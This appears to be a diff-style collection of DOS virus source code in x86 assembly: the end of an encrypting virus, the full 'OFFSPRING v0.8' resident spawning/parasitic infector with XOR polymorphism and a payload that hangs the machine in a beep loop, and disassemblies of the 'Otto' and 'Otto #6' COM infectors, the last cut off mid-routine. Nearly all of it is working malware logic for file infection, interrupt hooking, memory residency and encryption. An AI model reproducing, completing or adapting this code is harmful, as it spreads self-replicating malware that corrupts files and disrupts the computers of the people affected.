MOV BYTE PTR XCHG_1+2,BH
MOV BYTE PTR XCHG_2+2,AH
XOR_DONE:
CHG_TWO:
XOR CX,CX ; CX=0
LEA DI,SW_BYTE1 ; DI->sw_byte1
CHG_REST:
INC ROT_NUM ; increment rotation number
MOV BX,ROT_NUM ; bx=rotation num
MOV AH,OP_SET[BX] ; ah = new op code from set
MOV BYTE PTR [DI],AH
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
JNE CHG_CNT ; no, chg_cnt
MOV WORD PTR ROT_NUM,0 ; reset rotation num
CHG_CNT:
INC CX ; increment count
CMP CX,1
LEA DI,M_SW1
JE CHG_REST
CMP CX,2
LEA DI,M_SW2
JE CHG_REST
CMP CX,3
LEA DI,M_SW3
JE CHG_REST
CMP CX,4
LEA DI,SW_BYTE1
JE CHG_REST
CHG_THREE:
XOR CX,CX
LEA DI,SW_BYTE3
CHG_FOUR:
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
MOV BX,1 ;
JE MOV_POS ; Yes, so change it to the second
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
MOV BX,2 ;
JE MOV_POS ; Yes, change it to the third
XOR BX,BX ; Else, must be in final position
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
MOV BYTE PTR [DI+2],90H ; to NOP
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
CMP BX,2
JNE NO_CHANGE
INC CX
CMP CX,2
LEA DI,SW_BYTE4
JNE CHG_FOUR
NO_CHANGE:
CMP BYTE PTR TIMES_INC,9
JE INC_NUM
INC WORD PTR B_WR
INC WORD PTR E_JMP
INC WORD PTR E_JMP
INC TIMES_INC
JMP D2
INC_NUM:
SUB WORD PTR B_WR,09
SUB WORD PTR E_JMP,18
MOV TIMES_INC,0
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
D2:
MOV AH,2CH ;
INT 21H ; Get random number from clock - millisecs
MOV WORD PTR XOR_OP+2,DX ; save encryption #
MOV SI,0100H
LEA DI,VEND+50 ; destination
MOV CX,OFFSET VEND-100H ; bytes to move
CLD
REP MOVSB ; copy virus outside of code
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
CMP BYTE PTR VTYPE, PARASTIC
JNE GO_ENC
;add di,si
GO_ENC:
CALL ENCRYPT ; encrypt new copy of virus
;----------------------------------------
; Write and close new infected file
POP BX
MOV CX, OFFSET VEND-100H ; # of bytes to write
LEA DX, VEND+50 ; Offset of buffer
MOV AH, 40H ; -- our program in memory
INT 21H ; Call INT 21H function 40h
CMP VTYPE, PARASTIC ; parastic?
JNE CLOSE ; no, don't need to restore date/time
MOV AX,5701H ; Restore data/time
MOV CX,VEND[F_TIME]
MOV DX,VEND[F_DATE]
INT 21H
CLOSE: MOV AH, 3EH
INT 21H
NO_INFECT:
; Find next file
FIND_FILE :
CMP INF_COUNT, MAX_INF
JE END_PROG
MOV AH,4FH
INT 21H
JC END_PROG
JMP NEXT_LOOP
END_PROG:
EXIT :
CMP INF_COUNT,0 ; Start parastic infection on next run
JNE FIND_DONE
CMP VTYPE, PARASTIC ; Parastic infection done?
JE FIND_DONE ; yes, we're finished
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
MOV VTYPE, PARASTIC ; virus type = parastic
JMP FIND_FIRST
FIND_DONE:
MOV VTYPE,SPAWN
MOV FNAME_OFF, OFFSET FNAME1
RET
RESIDENT ENDP
END_ENCRYPT: ; Let's encrypt everything up to here
OP_SET DB 90H ; NOP
DB 40H ; INC AX
DB 43H ; INC BX
DB 48H ; DEC AX
DB 4BH ; DEC BX
DB 0FBH ; STI
DB 0FCH ; CLD
DB 4AH ; DEC DX
DB 42H ; INC DX
DB 14 DUP(090H)
;------------------------------------------------
; Encrypt/Decrypt Routine
;-----------------------------------------------
ENCRYPT PROC
CX_M DB 0B9H ; MOV CX
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
E2:
SW_BYTE1: ; XOR [di],dx swaps positions with this
NOP
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
SW_BYTE3: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE4: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE2:
NOP ; This byte changes into a char in op_set
LOOP E2 ; loop while cx != 0
RET
ENCRYPT ENDP
VEND DW 0 ; End of virus
CSEG ENDS
END START

View File

@ -0,0 +1,665 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.8 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with : TASM /m2
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.8
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; encryption routine switches from using di to si.
; Not anything overly amazing, but it works.
;
;
title offspring_1
.286
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0fch ; reply to check
f_name equ 1eh ; Offset of file name in FF/FN buffer
f_sizel equ 1ch ; File size - low - loc in mem
f_sizeh equ 1ah ; File size - high - loc in mem
f_date equ 18h ; File date - loc in mem
f_time equ 16h ; File time - loc in mem
max_inf equ 05 ; Maximum files to infect per run
max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
start:
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp:
dw 0000
skip_dec:
jmp main ; Skip decryption, changes into NOP on
; replicated copies.
di_op db 0bfh
mov_di dw offset enc_data+2 ; Point to byte after encryption num
;
;-------------------------
; Encryption/Decryption
encrypt:
cx_m db 90h,0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)/2
xor_loop:
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
sw_byte3: ; INC xx changes position in these bytes
inc di
nop
nop
sw_byte4:
inc di
nop
nop
loop xor_loop ; loop while cx != 0
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
enc_data: ; Start of encrypted data
;-------------------------------
; Non-Resident portion of virus
;-------------------------------
main proc
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for EXEC
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,9 ; 9th?
jne no_display
mov ah,09 ; display virus name
lea dx,vname[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
call install ; check if installed, if not install
cmp byte ptr vtype[bp],parastic
je com_return
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ax,4b00h
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
mov si,bp
mov cx,4 ; Restore original first
add si,offset org_bytes ; five bytes of COM file
mov di,0100h
cld
rep movsb
mov ax,0100h ; Simulate CALL return to 0100h
push ax
ret
main endp
;--------------------------------------
; INSTALL - Install the virus
;--------------------------------------
install proc
mov ah,signal
int 21h
cmp ah,reply
je no_install
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
jne no_install
mov ax,ds: [3] ;Block size in MCB
sub ax,190 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)
mov ax,ds
inc ax
mov ds,ax
mov di,100h ; New location in high memory
cld
rep movsb ; Copy virus to high memory
push es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2]
mov bx,es: [21h*4]
mov ds: old21_seg,ax ; Store segment
mov ds: old21_ofs,bx ; Store offset
cli
mov es: [21h*4+2],ds ; Save seg
lea ax, new21
mov es: [21h*4],ax ; off
sti
no_install:
push cs ; Restore regs
pop ds
push cs
pop es
ret
install endp
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ah, 3bh ; set dir func?
je run_res
cmp ah,0eh ; set disk func?
je run_res
jmp end_21
run_res:
pushf
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs
pop ds
xor ax,ax ; nullify ES
mov es,ax
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
je rel_mem ;
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
je set_mem ; total system memory.
jmp no_mem_func
set_mem:
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
inc byte ptr add_mem ; make sure we know to add this back
jmp no_mem_func
rel_mem:
add word ptr es: [413h],3 ; Add 3k to total sys mem
dec byte ptr add_mem
no_mem_func:
mov ah,2fh
int 21h ; Get the DTA
mov ax,es
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs
pop es
call resident ; Call infection kernal
mov dx,word ptr old_dta
mov ax,word ptr old_dta+2
mov ds,ax
mov ah,1ah
int 21h ; Restore the DTA
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
new21 endp ; End of handler
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
resident proc
mov byte ptr vtype,spawn
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset fname1 ; Set search for *.EXE
mov word ptr mov_di,offset enc_data+2
find_first:
mov word ptr vend,0 ; Clear ff/fn buffer
lea si, vend
lea di, vend+2
mov cx, 22
cld
rep movsw
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, vend
int 21h
mov ah, 4eh ; Findfirst
mov cx, 0 ; Set normal file attribute search
mov dx, fname_off
int 21h
jnc next_loop ; if still finding files then loop
jmp end_prog
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h
xor dl,dl
lea si,file_dir
int 21h
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx
lm3 : ; find end of directory name
inc bx
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,vend[f_name]
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
mov bx,1eh
loop_me: ; search for filename ext.
inc bx
cmp byte ptr vend[bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr vend [bx],'OC'
mov byte ptr vend [bx+2],'M'
start_inf:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;--------------------------------------
; Spawning infection
lea dx, vend[f_name]
mov ah, 3ch ; Create file
mov cx, 02h ; READ-ONLY
or cx, 01h ; Hidden
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;----------------------------------------
; Parastic infection
parastic_inf :
cmp word ptr vend+f_sizeh,400h
jge cont_inf2
jmp no_infect
cont_inf2:
lea si,vend+f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,vend+f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax
mov ah,3fh ; Read first bytes of file
mov cx,04
lea dx,org_bytes
int 21h
cmp word ptr org_bytes,0e990h
jne cont_inf
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data+2
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr vend+f_sizeh
sub ax,4
mov word ptr new_jmp+1,ax
mov ah,40h
mov cx,4
lea dx,new_code
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
encrypt_ops:
;-----------------------------
; Change encryptions ops
push bx
cmp pad_bytes,50
je reset_pad
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr
jmp pad_ok
reset_pad:
mov ax,pad_bytes
sub word ptr b_wr,ax
xor ax,ax
mov pad_bytes,ax
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2
dec inc_op
dec byte ptr xor_op+1
dec di_op
dec byte ptr enc_addr
dec byte ptr enc_add+1
jmp chg_three
set2:
inc inc_op
inc byte ptr xor_op+1
inc di_op
inc byte ptr enc_addr
inc byte ptr enc_add+1
chg_three:
mov ah,inc_op
xor cx,cx
lea di,sw_byte3
chg_four:
xor bx,bx ; Switch INC xx's location
cmp word ptr [di],9090h
je mov_pos
inc bx
inc bx
cmp byte ptr [di+1],90h ; is second byte not 90h
je mov_pos
dec bx
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
mov byte ptr [di+2],90h ; to NOP
mov byte ptr [di+bx],ah ; place inc xx in other byte
lea di,sw_byte4
inc cx
cmp cx,1
je chg_four
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - millisecs
mov word ptr xor_op+2,dx ; save encryption #
mov si,0100h
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+52 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h
;----------------------------------------
; Write and close new infected file
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr vend[f_time]
mov dx,word ptr vend[f_date]
int 21h
close:
mov ah, 3eh
int 21h
no_infect:
; Find next file
find_file :
cmp inf_count, max_inf
je end_prog
mov ah,4fh
int 21h
jc end_prog
jmp next_loop
end_prog:
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first
find_done:
mov byte ptr vtype,spawn
mov fname_off, offset fname1
ret
resident endp
vtype db spawn ; Infection type
rot_num dw 0000 ; Used when replacing bytes with OP_SET
inf_count db 0 ; How many files we have infected this run
com_name db 'COMMAND.COM' ; obvious
new_code db 90h
new_jmp db 0e9h,00,00 ; New Jump
org_bytes db 5 dup(0) ; original first five bytes of parastic inf.
pad_bytes dw 0 ; Increase in viru size
add_mem db 0 ; Add memory back?
old_dta dd 0 ; Old DTA Segment:Address
inc_op db 47h ; INC DI (47h) or INC SI (46h)
copyr db '(c)1993 negoriV' ; my copyright
vname db 0ah,0dh,'OFFSPRING V0.8','$'
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
fname_off dw fname1 ; Offset of Filespec to use
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
vend: ; End of virus
cseg ends
end start

View File

@ -0,0 +1,284 @@
;******************************************************************************
; Otto Virus
;
; Disassembled by Data Disruptor
; (c) 1992 RABID International Development
; (May.12.92)
;
; Original virus written by YAM (Youth Against McAfee) 1992
;
; Notes: Otto Schtuck (Pardon the spelling?) claims that this is a super-
; encrypting virus. Well, it took me all of two minutes to get the virus
; into it's disassembled form. Try again guys. It wasn't half bad. For
; this virus, I could not use the techniques outlined in my article in
; Censor Volume 1~, therefore, I had to use another method (which,
; coincidentally is a lot better). Be expecting "Decrypting Viruses
; Part ][" in the next issue of Censor (Slated for release in early
; June).
;
; As always, these disassemblies compile but do not run. They are
; intended to be used for "Hmm. Let's see how that group program's"
; purposes only.
;
; Data Disruptor
; RABID
;
; ~ I don't know the reason why my method outlined in Censor I didn't work.
; It could have had something to do with SMARTDRV and FSP conflicting in
; memory. Nonetheless, another method was found.
;
; (Ok. So it's not one of my best disassemblies, but at least it shows how
; one can decrypt encrypted viruses...)
;
; A scan for this virus is;
;
; # Otto - Written by Otto Schtuck
; "8A 24 32 E0 88 24 46" Otto Schtuck [Otto] *NEW*
;
; It does no damage, does not hide it's file increase, but preserves the time
; & date stamp. It does not display any message. It is a transient COM infector
; that will infect one file in the current directory each time it is run.
;
;******************************************************************************
file_handle equ 9Eh ; File handle location
enc_bit equ 0FFh ; Encryption bit
code segment byte public
assume cs:code, ds:code
org 100h
;---
; Length of virus is 379 bytes...
;---
otto_vir proc far
start:
jmp short virus_entry ; Virus entry here
;---
; This hunk of shit here looks encrypted. I couldn't be bothered to go any
; further...
;---
crypt_1 db 90h
db 12h, 44h, 75h, 64h, 6Eh,0C1h
db 0Eh,0EDh, 70h, 05h, 34h, 5Dh
db 77h,0EBh, 35h,0D4h, 35h, 46h
db 34h, 68h, 7Ch,0A2h, 05h,0C1h
db 24h, 49h, 34h, 4Eh, 6Ch,0F1h
db 33h,0D5h, 20h, 5Ch, 7Bh, 78h
db 08h, 88h
crypt_2 db 69h
db 0C3h, 79h
db 08h, 25h, 33h, 3Ch
db 0B0h, 61h,0F2h, 11h, 6Ah, 5Dh
db 4Eh, 25h,0CBh, 2Fh,0D4h, 35h
db 5Ah, 7Ah, 6Bh, 71h,0EBh, 2Eh
db 0CEh, 31h, 44h, 19h, 00h, 1Fh
virus_entry:
cmp al,[bx+di-14h]
popf ; Pop flags
or ax,bp
add [bx+si],al
pop si
push si
sub si,108h
pop ax
sub ax,100h
mov ds:enc_bit,al
push si
mov cx,17Bh ; 379 bytes
add si,offset crypt_2
decrypt:
mov ah,[si]
xor ah,al
mov [si],ah
inc si
ror al,1 ; Rotate
loop decrypt
pop si
mov ax,enc_ax[si]
mov dh,enc_dh[si]
mov word ptr ds:[100h],ax
mov crypt_1,dh
lea dx,filespec ; Set filespec
xor cx,cx ; Search for normal files
mov ah,4Eh ; Search for first match
search_handler:
int 21h
jnc got_file
jmp quit
;---
; Otto! If you want to save some bytes, you don't have to open the file in
; order to get it's time. There are other ways around this...
;---
got_file:
mov dx,file_handle ; Get file handle from DTA
mov ax,3D02h ; Open file with read/write
int 21h
mov bx,ax ; Save file handle in BX
mov ax,5700h
int 21h ; Get time/date from file
cmp cl,3 ; Check timestamp
jne found_host ; Not equal to our timestamp?
mov ah,3Eh ; Then close the file and...
int 21h ;
mov ah,4Fh ; ...Search for next match
jmp short search_handler
found_host:
push cx
push dx
call move_ptr_start ; Move file pointer to start
lea dx,[si+three_bytes] ; Set buffer space for 3 bytes
mov cx,3 ; Set for 3 bytes
mov ah,3Fh ; Read in file
int 21h
xor cx,cx ; Set registers to...
xor dx,dx ; ...absolute end of file
mov ax,4202h
int 21h ; Move file point to end
mov word ptr ptr_loc[si],ax
sub ax,3
mov adj_ptr_loc[si],ax
call move_ptr_start
add ax,6
mov work[si],al
mov cx,word ptr ptr_loc[si]
;---
; Set buffer space at end of the file so that we don't waste space in the
; virus
;---
lea dx,[si+2A4h]
mov ah,3Fh ; Read in file
int 21h
push si
mov al,work[si]
add si,offset copyright+4
call encrypt
pop si
call move_ptr_start
mov cx,word ptr ptr_loc[si]
lea dx,[si+2A4h] ; Load effective addr
mov ah,40h ;
int 21h
jnc check_write ;
jmp short quit
check_write:
lea dx,[si+105h] ; Load effective addr
mov cx,24h
mov ah,40h ;
int 21h
push si
mov cx,17Bh ; 379 bytes
mov di,si
add di,offset copyright+1
add si,offset crypt_2
rep movsb ;
pop si
push si
mov al,work[si]
mov cx,17Bh ; 397 bytes
add si,offset copyright+1
call encrypt
pop si
mov cx,17Bh ; 397 bytes
lea dx,[si+2A4h] ; Set buffer to encrypted data
mov ah,40h ; Write out the virus to the
; file
int 21h
jc quit ; Jump if carry Set
call move_ptr_start ; Move file pointer to start
lea dx,[si+new_jump] ; Load DX with the new jump
mov ah,40h ;
mov cx,3 ; Set for 3 bytes
int 21h ; Write out the new jump
jc quit ; Jump if carry Set
pop dx
pop cx
mov cl,3 ; Set low order time with
; our identity byte
mov ax,5701h
int 21h ; Set file date/time
mov ah,3Eh ;
int 21h ; Close the file
;---
; Hmm. This routine looks a bit familiar... Maybe it was "borrowed" from the
; RAGE Virus we wrote...
;---
quit:
push si ; Save our SI
mov al,ds:enc_bit ; Load AL with value of the
; encryption bit
xor cx,cx ;
add cx,si ; Load CX with original 3 bytes
add cx,3 ; Adjust value for offset of
; virgin code
mov bp,103h ; Load BP with offset of 103h
; Where the virgin code starts
mov si,bp ; Copy this location to SI
call encrypt ; Encrypt this portion of the
; code
pop si ; Restore original SI
mov bp,offset start ; Load BP with offset of start
; of the virgin code
jmp bp ; Jump to start of virgin code
otto_vir endp
encrypt proc near
encryption:
mov ah,[si]
xor ah,al
mov [si],ah
inc si
ror al,1 ; Rotate
loop encryption
retn
encrypt endp
db 'OTTO VIRUS written by:OTTO '
enc_ax dw 4353h ; Encryption shit loaded in AX
enc_dh db 48h ; Encryption shit loaded in DH
db 54h
adj_ptr_loc dw 4355h ; Adjusted file pointer
; location (ptr_loc-3 bytes)
work db 4Bh ; A work buffer
ptr_loc db 20h ; File pointer location
copyright db 'COPYRIGHT MICROSHAFT INDUSTRIES '
db '1992 (tm.)PQR'
;---
; Everything below here appeared as a bunch of hex shit I had to convert...
;---
move_ptr_start proc near
mov ax,4200h ; Move fp to start (B80042)
xor cx,cx ; (33C9)
xor dx,dx ; (33D2)
int 21h ; Call DOS (CD21)
pop dx ; (5A)
pop cx ; (59)
pop ax ; (58)
ret ; (C3)
move_ptr_start endp
filespec db '*.COM',0 ; Location 295h
three_bytes db 0ebh,46h,90h ; jmp 148 (Location 29Bh)
new_jump db 0e9h,4ah,00h ; jmp 150 (Loc 29Eh)
push ax ; Loc 2A1h
dec bp ; Loc 2A2h
db 00h ; Loc 2A3h
code ends
end start


View File

@ -0,0 +1,337 @@
; Otto #6 Virus, By Youth Against McAfee
; Disassembly By The Attitude Adjuster of Virulent Graffiti for
; Infectious Diseases 3 and some other uses...
; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup
; TLINK /t otto5.obj
; The assembled code will NOT execute... a big thanks to YAM for that one! The
; only workaround I got is to trace thru til the mov [00FFh], al, and just
; move the ip ahead to startencrypt!
.model tiny
.code
org 100h
start:
db 0e9h, 02, 00 ; jmp near virusentry
nop ; they had to be here
nop ; in the original
virusentry:
call getdelta ; get delta ofs
getdelta:
pop si
push si
sub si,offset getdelta ; sub original ofs
pop ax ; delta in ax
sub ax,100h
mov ds:[00FFh],al ; ds:00FFh == al
push si ; save delta
mov cx,260h ; ieterations
add si,offset startencrypt
cryptloop:
xor [si],al ; xor
inc si
rol al,1 ; rotate
loop cryptloop ; loop if cx > 0
pop si ; delta in si
startencrypt:
mov ax,word ptr ds:[first3+si] ; restore first
mov dh,byte ptr ds:[first3+si+2] ; 3 bytes
mov word ptr ds:[100h],ax
mov byte ptr ds:[102h],dh
lea dx,[si+file] ; find *.COM
xor cx,cx
mov ah,4Eh
findfirstnext:
int 21h
jnc checkinfected ; carry?
jmp takeithome ; no more files
checkinfected: ; check file
mov dx,offset 9Eh ; filename in default
mov ax,3D02h ; dta
int 21h ; open file r/w
mov bx,ax ; handle in BX
mov ax,5700h ; get file date
int 21h
cmp cl,3 ; cl = 3?
jne infectitthen ; nope
mov ah,3Eh ; infected, close
int 21h
mov ah,4Fh ; find next *.COM
jmp short findfirstnext ; again
infectitthen: ; infect the file
push cx ; push time
push dx ; push date
call lseekstart ; lseek beginning
lea dx,[si+first3] ; buffer at first3
mov cx,3 ; read 3 bytes
mov ah,3Fh
int 21h
xor cx,cx ; lseek the end
xor dx,dx ; fileside DX:AX
mov ax,4202h
int 21h
; 4D1h
mov word ptr ds:[fsize+si],ax ; save fsize
sub ax,3 ; calculate jump
mov word ptr ds:[fsize2+si],ax
call lseekstart
add ax,6 ; fsize+3
mov byte ptr ds:[lob+si],al ; lob of fsize+3
mov cx,word ptr ds:[fsize+si] ; size of file
lea dx,[si+heap] ; point at buffer
mov ah,3Fh
int 21h ; read
push si ; push delta
mov al,byte ptr ds:[lob+si] ; lod of fsize+3
add si,offset ds:[heap+3] ; point at code
call encrypt ; encrypt original
pop si ; pop delta
call lseekstart ; lseek beginning
mov cx,word ptr ds:[fsize+si] ; fsize
lea dx,[si+heap] ; buffer at heap
mov ah,40h ; write file
int 21h
jnc finishinfect ; error (attributes)
jmp short takeithome ; yes
finishinfect:
lea dx,[si+virusentry] ; write encrypter
mov cx,startencrypt-virusentry ; to file
mov ah,40h
int 21h
push si ; push delta
mov cx,heap-startencrypt ; virus length-crypt
; mov di,si ; delta in di
db 89h, 0F7h ; alternate encoding
add di,offset ds:[heap] ; point at heap
add si,offset ds:[startencrypt] ; point at virus
rep movsb ; copy code to heap
pop si ; pop delta
push si ; push delta
mov al,byte ptr ds:[lob+si] ; lob of fsize+3
mov cx,heap-startencrypt ; virus length
add si,offset ds:[heap] ; buffer at heap
call encrypt ; encrypt heap
pop si ; pop delta
mov cx,heap-startencrypt ; virus length
lea dx,[si+heap] ; buffer at heap
mov ah,40h ; write virus
int 21h
jc takeithome ; error?
call lseekstart
lea dx,[si+jump] ; buffer at jump
mov ah,40h ; write jump
mov cx,3
int 21h
jc takeithome ; error?
pop dx ; pop date
pop cx ; pop time
mov cl,3 ; set infected flag
mov ax,5701h ; set time
int 21h
mov ah,3Eh ; close file
int 21h
takeithome:
push si ; push delta
mov al, byte ptr ds:[00FFh] ; saved xor byte
xor cx,cx
; add cx,si ; the pricks use
db 01, 0f1h ; alternate encoding
add cx,3 ; ieterations in cx
mov bp,103h
mov si,bp ; unencrypt old code
call encrypt
pop si ; pop delta
mov bp,100h ; where to RET to
mov ax,0B0Bh ; RuThereCall
int 9
cmp ax,0BEEFh ; if beefy, it's
je skipinstall ; installed
xor ax, ax
mov ds, ax ; interrupt table
lds bx, dword ptr ds:[9*4] ; Int 9 -> DS:BX
push bp ; push ret addr
mov bp,offset ds:[old9] ; JMP FAR PTR
mov cs:[bp+si+1],bx ; offset
mov cs:[bp+si+3],ds ; segment
pop bp ; pop ret addr
mov bx,es
dec bx ; our MCB paragraph
mov ds,bx
sub word ptr ds:[0003],80h ; allow for us to get
; some memory
mov ax, word ptr ds:[0012h] ; 1st unused segment
sub ax,80h
mov word ptr ds:[0012h],ax ; replace valu
mov es,ax ; es = our new seg
push cs ; ds = cs
pop ds
xor di,di ; es:0000 = dest.
; mov bx,si ; more alternate
db 89h, 0f3h ; encoding!!
lea si,[bx+our9] ; buffer at our9
mov cx,200 ; more than enough
rep movsb ; copy 200 bytes
mov ds,cx ; cx = 0000
mov word ptr ds:[9*4],0 ; offset (int 9)
mov word ptr ds:[9*4+2],es ; segment (int 9)
skipinstall:
push cs ; restore segments
push cs
pop ds
pop es
push bp ; return to 100h
ret
encrypt: ; encrypt
xor [si],al ; xor
inc si
rol al,1 ; rotate left
loop encrypt ; Loop if cx > 0
ret
db 'OTTO6 VIRUS, <<',0E9h,53h,'>>, YAM, '
db 'COPYRIGHT MICROSHAFT INDUSTRIES 1992 (tm.)'
lseekstart:
push ax
push cx
push dx
mov ax, 4200h ; lseek beginning
xor cx,cx
xor dx,dx
int 21h
pop dx
pop cx
pop ax
ret
our9: ; our int9 handler
cmp ax, 0B0Bh
jnz NotRuThere ; not an ruthere
mov ax, 0BEEFh
IRet ; int return
NotRuThere:
push ax ; save registers
push bx
push ds
xor ax,ax ; BIOS segment
mov ds,ax
in al,60h ; get keyboard input
mov bl, byte ptr ds:[0417h] ; get shift status
test bl,08 ; alt pressed?
jz removeregistersandleave ; no
test bl,04 ; ctrl pressed?
jz whyisthishere ; no
cmp al, 53h ; delete?
jnz removeregistersandleave ; nope!
and bl,0F3h ; mask off bits
mov byte ptr ds:[0417h],bl ; place in bios
